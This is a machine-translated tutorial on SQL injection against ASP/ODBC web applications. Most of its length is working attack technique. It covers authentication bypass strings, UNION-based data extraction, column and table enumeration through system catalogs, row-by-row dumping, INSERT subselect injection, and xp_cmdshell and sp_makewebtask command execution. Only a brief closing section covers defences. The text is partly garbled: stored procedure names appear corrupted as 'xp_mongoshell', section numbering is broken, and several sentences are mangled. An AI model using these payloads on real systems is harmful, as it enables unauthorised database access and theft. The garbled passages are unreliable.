SQL overview and Application in network security

I think everyone knows what SQL is, but do you really understand the application of SQL in network security? The Application of SQL in network security is described in detail here.

1. Network Application and SQL Injection

1.1 Overview

Some network databases do not filter potentially harmful characters in the data provided by customers. SQL injection is a technology that uses inserting harmful characters for attacks. Despite being very easy to prevent, there are still an astonishing number of storage systems on the Internet that are vulnerable to such attacks. The purpose of this article is to instruct professional security organizations to understand this technology and tell them the correct methods to prevent SQL injection and to handle common problems caused by illegal input.

1.2 Background

Before reading this article, you should have some basic knowledge about how the database works and how SQL is used to access the database. I suggest you read the article "Introduction to databases for webdevelopers" in extropia.com ".

(Web: http://www.extropia.com/tutorials/ SQL /toc.html)

1.3 character encoding

In most Web browsers, punctuation marks and many other symbols need to be URL encoded before being used for a network request to be properly compiled (interpret ). In this example, we use fixed ASCII characters to ensure maximum readability. However, in practice, you need to use % 25 in an HTTP request to replace percent sign (%), % 2B to replace the plus sign (+), and so on...
2. Test the Vulnerability (testing for vulnerability)

2.1 Comprehensive Test

It takes more energy to thoroughly check whether a network request is easily injected by SQL than a possible guess. When you put a single quotation mark into the first parameter value of a script, the server returns a blank webpage without any ODBC error. obviously, this situation directly reflects vulnerabilities in web programs, but this is usually not the case. If you do not pay attention to the details, it is easy to ignore a seemingly perfect, actually very fragile script.

Every parameter in each script on the server should be detected. Developers and development organizations may be inconsistent. The programmer who designs script a may have nothing to do with the development of script B. Therefore, one of them may be immune to SQL injection, and the other may not. In fact, the programmer who designs function a in script a may have nothing to do with the development of function B in script a. Therefore, a parameter in script A may be vulnerable to SQL injection, the other parameter is not necessarily, even if the entire network request is conceived, designed, written, and tested by a programmer, among the thousands of parameters in the script, for some reason, designers forget to check data somewhere, so there may still be a vulnerable parameter, and that place is unique and you will never be sure where it is, so all things must be tested.

2.2 Testing Process
　
Replace the value of each parameter (argument) with a single quotation mark and an SQL keyword (such as "where"). Each parameter should be tested separately, when you test a parameter, you should keep other parameters unchanged and use valid data to fill their values (argument ), it can be tempting to just delete all of the stuff that you're not working with in order to make things look simpler, particle ly with applications that have parameter lines that go into thousands of characters.

When you test whether a parameter can be injected with SQL, if you ignore other parameters or give them an invalid value (argument), the Network request may fail for other reasons, this hinders you from judging whether SQL injection is feasible. For example, let's assume that the following is a valid, pure (unaltered) parameter line:

Contactname = Maria % 20 Anders & companyName = Alfreds % 20 futterkiste

And it returns an ODBC error:

Contactname = Maria % 20 Anders & companyName = '% 20or

If we do this:

CompanyName ='

It may only give you an error and tell you to specify a contactname value.

This line:

Contactname = badcontactname & companyName ='

The same page may be returned because the contactname is not specified in the request. Or, it may return the default homepage of your site. Alternatively, it may not be able to find the specified contactname, or the web program does not consider companyName as an SQL statement, it may give you something completely different, so when detecting SQL injection, remember to always use the complete Parameter Line, and besides the parameter you are detecting, A valid value is also given to all other parameters.

2.3 analysis results

If you get an error message returned by the database server, SQL Injection obviously exists. however, database error messages are not always obvious (sometimes programmers can do some strange things), so you should check every possible place to check whether the injection is successful, first, you should look for phrases like "ODBC", "SQL Server", and "Syntax" from all the resources on the returned page. More information may be contained in the HTTP header, hidden input .... I have seen errors returned by network requests on some storage systems. There is no information in the HTTP response body, but there is a database error in the header. For the purpose of debugging and QA, many network requests are embedded with this feature, but they are forgotten to remove or make them invalid before the final publication.

You don't just need to pay attention to the pages that are returned in real time. The page also needs to be linked. In the last pen-test, after I saw a network request being attacked by SQL injection, return to a class error page, click the stop icon next to the error, and link to another page full of SQL Server Error information.

Another thing to pay close attention to is page 302 redirection. Before you have the chance to notice it, you may have left a page containing database error information.

Please note that even if you get an ODBC error message reply, the SQL injection may still succeed. Many times you get a properly formatted, seemingly error message page, tell you "an internal server error" or "problem processing your request."

Some network requests are designed to return to the homepage of the site once any errors occur. If you get a 500 error page, injection may occur. Many sites have a default 500 server internal error page to indicate that the server is being maintained, or politely ask users to email their requests to the site's maintenance personnel. This may use procedure techniques to take advantage of these sites, which will be discussed later.
3.1 bypass Verification

The simplest SQL injection technique is to bypass form-based login. Let's assume that the code for a network request is as follows:

Sqlquery = "select username from users where username = '" & strusername & "' and Password = '" & strpassword &"'"
Strauthcheck = getqueryresult (sqlquery)
If strauthcheck = "" then
Boolauthenticated = false
Else
Boolauthenticated = true
End if

After a user submits a user name and password, the query will search the users form to see if one row contains the same user name and password as the one provided by the user, if a row is found, the user name is stored in the variable strauthcheck, indicating that the user should be authenticated. If no row is found, the variable strauthcheck remains empty, the user is not authenticated.

If the strusername and strpassword variables can contain any character you want, you can modify the current SQL query structure, even if you do not know the valid user name and password, how do you get a valid name? Let's assume that the user fills in a login form as follows:

Login: 'or ''='
Password: 'or ''='

This will give sqlquery the following values:

Select username from users where username = ''or'' = ''and Password ='' or ''=''

The request does not compare the data submitted by the user with the existing users form, but directly compares ''and''. Obviously, it always returns true (note that there is a difference between nothing and null) because all the verification conditions in the where statement are met, the user name will use the one in the first row searched in the form, and then the user name will be passed to the variable strauthcheck, in this way, our effectiveness is guaranteed. Using the single result processing technology may also use another row of data, which will be discussed later.

3.2 select

In other cases, you must determine and adjust the SQL query string that you submit based on the results returned by the defective web programs.
　
3.2.1 use single quotes directly

The first error you will face is a statement structure error. A structure error indicates that the SQL query statement structure is defective. first, you should understand whether the script insertion attack can be successful without coding quotation marks.
　
During Direct SQL injection, whatever statements you submit will be applied to SQL queries without any changes. when you try to submit parameters, enter valid values first, and then add a space and an or after them. If an error occurs on the server, it is possible to directly inject SQL statements. the submitted value can be the value used in any where clause, for example:

Sqlstring = "select firstname, lastname, title from employees where Employee =" & intemployeeid

Or keep up with an SQL keyword, such as the table name or column name in the table, such

Sqlstring = "select firstname, lastname, title from employees order by" & strcolumn

All other examples are quoted. In a program with the quotation mark insertion vulnerability, the system will add a quotation mark before and after any submitted parameter, as shown in the following figure:

Sqlstring = "select firstname, lastname, title from employees where employeeid = '" & strcity &"'"

To break this quotation mark (break out) and forge a correct query, you must include a single quotation mark before the SQL keyword in your SQL injection string, in addition, a single quotation mark must be added after the WHERE clause. now let's talk about "spoofing. yes, SQL Server will ignore anything behind "; --", but only SQL Server of MS will do this. we 'd better learn how to deal with this problem, so that we know how to deal with Oracle, DB/2, MySQL and other database servers.
　

The SELECT query is used to obtain information from the database. most Web applications obtain information from the database through the SELECT statement and dynamically display the information on the page. generally, you can forge this part of the database query, which will become part of the WHERE clause. we can insert the Union SELECT statement to bypass the data that the web program allows us to query and obtain other data. union select allows multiple select queries in a statement, which looks like this:

Select companyName from shippers where 1 = 1 Union all select companyName from customers where 1 = 1

The returned results include the results of the first query and the second query. "All select" all is required, in this way, the restriction of the select distinct statement can be escaped without interfering with other statements (??), So it is best to use it. you must confirm the first query, that is, the one the web application writer wants to execute is executed and no records are returned. this is not difficult. for example, there is an expression:

Sqlstring = "select firstname, lastname, title from employees where city = '" & strcity &"'"

We construct the following insert string:

'Union all select otherfield from othertable where '='

This will cause the following SQL query statements to be submitted to SQL Server:

Select firstname, lastname, title from employees where city = ''union all select otherfield from othertable where ''=''

Let's take a look at what will happen: the database searches for the employees table and finds the row whose city is set to null. Because the city cannot find which row is null, it does not return any records, records are returned only for our inject queries. in some cases, null cannot be used successfully because the table exists.

There are null items. in this case, all you need to do is to construct a value that does not exist in the table. You only need to enter some unusual values... it is best to compare the normal values. When the database requires a natural number, both 0 and negative numbers work well. For a text parameter, "nosuchrecord" is used simply ", "notintable" or more common "sjdajdhajsh", as long as it does not return a record.

If the SQL queries used by all web applications are as simple as those above, it is a pity that this is not possible:]. depending on the programming habits and query expression writing methods, you may encounter various difficulties during SQL injection.

　　
3.2.3 structure error Query Form

Some error messages returned by database servers include some format error messages. You can analyze these fragments to construct your injection statement. Some strings you submit will return useful information, some do not. This is mainly because of the design of SQL query statements in Web applications. below are the strings I recommend you try:

'
Badvalue'
'Badvalue
'Or'
'Or
;
9, 9

Generally, some of these strings return the same information or do not return any information at all. however, some examples tell us that some information can only be obtained using one of them, so you 'd better try all of them when submitting strings.
　　
3.2.4 arc Expansion

If a defective query statement contains a circular arc extension '(', as shown in the following example ), or the returned error message explicitly reminds you that the '(') is missing, so you should add '(') to the SQL injection string you submitted. generally, a bracket is added after the WHERE clause, but in some cases, you need to add two or more parentheses.

The following is the source code of parenthesis. asp:

MySQL = "select lastname, firstname, title, notes, extension from employees where (city = '" & strcity &"')"

We insert the following values:

"') Union select otherfield from othertable where (' = '"

Then the statement sent to SQL Server becomes like this:

Select lastname, firstname, title, notes, extension from employees where (city = '') Union select otherfield from othertable where ('' = '')

3.2.5 like statement Query

Another major disaster is the trap of a like clause. (seeing the like keyword or percent signs cited in an error message are indications of this situation .) most Web search programs use the like clause to query databases. For example:

Sqlstring = "select firstname, lastname, title from employees where lastname like '%" & strlastnamesearch & "% '"

Here, % is a wildcard. In this example, the where clause returns true, as long as the string in lastname contains strlastnamesearch. to prevent SQL Server from returning expected records, the SQL statement you construct must contain strings not found in lastname. the string searched by the Web search program comes from the user's input. there is usually a 'and a % before the input string, so we need to match them in the WHERE clause when constructing the string. if you submit null as a search string, the like parameter is changed to "%". This is a full match and all records are returned.

3.2.6 "dead end"

Most of the time, SQL injection must be accompanied by a large number of failed practices. If you find that you cannot insert related statements in any way, and you are wrong in any way, at this time, you need to determine whether you have fallen into a dead end. In many cases, you may be in a multi-nested where and select clause statement, or some more complex multi-nesting, even using "; --" is useless, so be careful and avoid staying in this place.

3.2.7 mismatch of the number of Columns

, We can get a lot of useful information from several errors and adjust our request statements. This too much information means that we are not far from success. When you guess the column name, we will encounter the following error after submitting the statement: "All queries in the Union statement must have the same number of expressions in the target list ", this means you need to find out or test the number of columns in a valid request.

Here I will explain that the Union statement is used to add two different query result sets to get a result set. The only requirement of union is the information of Two Queries (your query statement) must have the same number of columns and the same data type

For example, the web program has the following statement:

Sqlstring = "select firstname, lastname, employeeid from employees where city = '" & strcity "'"

The valid SELECT statement and the Union SELECT statement injected by us must have the same columns in the WHERE clause. For the preceding statement, if I want to add the Union statement, both the first and second columns must have three columns. In addition, the data types of their columns must match each other. If the value of firstname is of the string type, the value corresponding to your injection statement should also be of the string type. Some databases, such as Oracle, have strict type checks. Other databases are relatively better, allowing you to input any data type and it will automatically convert the wrong data type to the correct one. For example, if you enter numeric data (such as INT) in a varchar database, no error is reported because the numeric type is automatically converted to the string type. However, if the text type is entered in the smallint column, it is considered invalid because the text type cannot be converted to the int type. It is allowed to convert data of the numeric type into a string type, but not vice versa. Therefore, data of the numeric type is used by default.
　

To know the number of columns in the target statement to be injected, you must add the corresponding values to the Union select clause, until the error "all queries in the Union statement must have the same number of expressions in the target list" is not reported ., If you encounter a Data Type Mismatch Error, you must change the data type of the column. If the returned message is only an error that fails to convert the data type, you have guessed the number of columns, but the data type of some columns is incorrect. The next step is to determine which column's data type is incorrect. Then you can change it.

If everything goes well, congratulations. You will get a page in a similar format and valid format.) No matter where the dynamic page appears, you can construct your own statements to cope with it.

　　
3.2.8.where keyword

The error "invalid column name 'employeeid'" may be caused by the where keyword at the end of the statement we injected. For example:

Sqlstring = "select firstname, lastname, title from employees where city = '" & strcity & "' and Country = 'usa '"

If the injected statement is Union all select otherfield from othertable where 1 = 1, the following commit statement will be obtained:

Select firstname, lastname, title from employees where city = 'nosuchcity' Union all select otherfield from othertable where 1 = 1 and Country = 'usa'

In this case, the [Microsoft] [odbc SQL Server Driver] [SQL Server] column name 'country' is invalid '.

The problem is that the system did not find a column named 'country' in the database table after the injection statement. Here we can simply use the "; --" annotation symbol to annotate it (if it is SQL Server ). Or simply continue to guess other column names and construct valid requests, as we mentioned in the previous section.

Table Name Enumeration

We have begun to understand how to use injection for attacks, but we also need to determine the table from which information is to be obtained. In other words, we need key table names to obtain the useful information we want. How to obtain the table name? In SQL Server, you can easily obtain all the table names and column names from the database. However, in Oracle and access, you may not be able to get it so easily. This depends on the access permissions of the web program to the database. The key is whether to obtain the table name and column name automatically generated when the system is created. For example, in SQL Server, they are 'sysobjects' and 'syscolumns 'respectively. (at the end of this article, we will provide self-built tables and corresponding column names for other database systems) we can use the following sentence to list all the column names and table names of the database in these tables (modify them as needed ):

Select name from sysobjects where xtype = 'U'

This statement will return all user-defined tables in the database. If we see the tables we are interested in or want to see, we will open them. Here we use orders as an example to construct the statement: select name from syscolumns where id = (select ID from sysobjects where name = 'Orders.

3.2.10. Single record

The statements we constructed above return a large amount of information. If you only want to display a data record, you can also. You can construct your injection statement to obtain the unique information you want. We only need to add keywords in the WHERE clause to avoid some rows from being selected. Let me give you a column: 'Union all select name, fieldtwo, fieldthree from tableone where ''='

In this way, we can obtain the first values of fieldone, fieldtwo, and fieldthree. Assume that we are going to "Alpha", "Beta", and "Delta" respectively ". Note: What's more interesting is that we need to get the value of row 2nd. How can we construct the following statement? In this case, 'Union all select fieldone, fieldtwo, fieldthree from tableone where fieldone not in ('alpha') and fieldtwo not in ('beta ') and fieldthree not in ('delta') and ''='

Here, there is a clause "not in values", which does not return the information we have obtained, that is, not Alpha, not Beta, not Delta. since none of them are, the database will tell us the value of the second row. Let's assume that the values in the second row are "alphaalpha", "betabeta", and "deltadelta ".

Let's get the value of the third row. The construction statement is as follows: 'Union all select fieldone, fieldtwo, fieldthree from tableone where fieldone not in ('alpha', 'alphaalpha ') and fieldtwo not in ('beta ', 'betabeta') and fieldthree not in ('delta', 'deltadelta ') and ''='

This avoids getting the values we have obtained for the first and second times. We will try to get all the values in the database. It seems to be troublesome, but it is the most effective here, isn't it?
　
3.3 insert

3.3.1 insert Basics

The keyword insert is used to add information to the database. Generally, insert is used to include user registration, forum, and shopping cart. The weakness of the insert check is the same as that of the where check. You may not want to use insert. How to avoid being exploited is an important consideration. Insert injection attempts often enable the database to return results in the form of rows, resulting in a flood of independent references and the significance of SQL statements may change. depending on the Administrator's attention and information on database operations, this should be noted. As mentioned earlier, insert injection and select injection are different. We provide a form for you to enter your name, address, phone number, and so on. After you submit this form, you must be able to see the information you submitted in order to obtain further insert vulnerabilities. It doesn't matter where it is. You may be sending your spam email when you log in to give you the right according to the name stored in the database .., who knows, find a way to at least view the information you entered.

3.3.2

An Insert request looks like this: insert into tablename values ('vaule one', 'value two', 'value three ') you may want to use a clause in the values parameter to view other data. We can use this method. The SQL code is like this: sqlstring = "insert into tablename values ('" & strvalueone & "', '" & strvaluetwo &"', '"& strvaluethree &"') "fill in the Form: Name: '+ (select top 1 fieldname from tablename) + 'email: Phone: 333-333-3333 make the SQL statement like this: insert into tablename values (''+ (select top 1 fieldname from tablename) +'', '2017-333-3333 ') when you go to the personal settings page to view your usage information, you will see the first field, which is usually the user name R. If you enable top 1 in your Subselect, you The following error message is returned: Your Subselect returns too many records. You can view all the rows in the table. You can obtain a separate record using the not in () method.

3.4. SQL Server Stored Procedure Utilization

3.4.1 Stored Procedure Basics

4. A fully-installed MSSQL Server has thousands of stored procedures. If you can get SQL injection from a Web application using MSSQL in the background, you can use these stored procedures to accomplish some remarkable results. I will discuss very few special procedures. Only some users who use the database in Web applications can work, and not all users can use the database. First, you should know that stored procedure injection cannot determine whether your injection is successful through the returned values of stored procedures. It depends on what you want to accomplish and you may not need to obtain data. You can find other meanings of the data returned to you. Stored Procedure injection is easier than general query injection, and the weakness of Stored Procedure injection looks like this.

Simplequoted. asp? City = Seattle '; Exec master. DBO. xp_mongoshell 'mongo.exe dir C :'

Note,

Notice how a valid argument is supplied at the beginning and followed by a quote and the final argument to the stored procedure has no closing quote. this will satisfy the syntax requirements inherent in most quoted vulnerabilities. you may also have to deal with parentheses, additional where statements, etc. however, you do not need to worry about the matching of columns and data types. The output of this vulnerability is the same as that of an error message that cannot be returned by the program. I like stored procedures most.

5. 3.4.2. xp_mongoshell

Xp_cmdshell {'COMMAND _ string'} [, no_output]

Master. DBO. xp_mongoshell is the Holy Grail of stored procedures. It brings about a problem. It can call the database users of the command line and their running permissions, this is not available unless the database user used by this web application is Sa. running level 6

Sp_makewebtask [@ outputfile =] 'outputfile', [@ query =] 'query'

6. Another good call object is master. DBO. sp_makewebtask. As you can see, it is a local output file and an SQL statement. Sp_makewebtask can query and create a webpage containing the output. Note that you can use a local output like a UNC path name. This means that the output file can be stored in any server connected to the Internet and has a writable SMB share (SMB requests do not require any authentication ). If a _ blank "> firewall limits the server to the Internet, try to put the output file under the webpage directory (You Need To Know or guess the webpage directory ). It is also worth noting that the reference query may include executing other stored procedures. Making "Exec xp_mongoshell 'dir C: '" This query will output "dir C:" on the webpage. When you perform nested references, remember to separate the references and double quotation marks.
4.1 Data Processing

All client data can be cleared by malicious submitted characters or strings. These may be done in all applications, not just using SQL queries. Stripping quotes or putting backslashes in front of them is nowhere near enough. The best way to filter data is to avoid regular expressions so that it only includes the desired character type. For example, the regxp below will only return letters and numbers, and try to filter out special characters such as S/[^ 0-9a-za-z]/g. If possible, use numbers as much as possible. After that, use only numbers and letters. If you need to include a variety of signs or punctuation. Be sure to fully convert them into HTML tags, such as "" E; "or"> ". For example, if a user submits an email address, only numbers and letters are allowed, including "@", "_", ".", and "-". Only these characters can be converted into HTML tags.

4.2. Write secure web programs

There are also few special SQL Injection rules. First, prepend and append a quote to all user input.

Even though data makes numbers. Second, restrict the database user permissions of Web applications in the database. Do not give this user the right to access all stored procedures if this user only needs to access some predefined.

This part includes all the system tables that are useful in SQL injection. You can search for the column definitions of each table on Google.

5.1. ms SQL Server

Sysobjects

Syscolumns

5.2. MS Access Server

Msysaces

Msysobjects

Msysqueries

Msysrelationships

5.3. Oracle

SYS. user_objects

SYS. Tab SYS. user_tables

SYS. user_views SYS. all_table

S SYS. user_tab_columns

SYS. user_constraints SYS. user_triggers

SYS. user_catalog

# Database Technology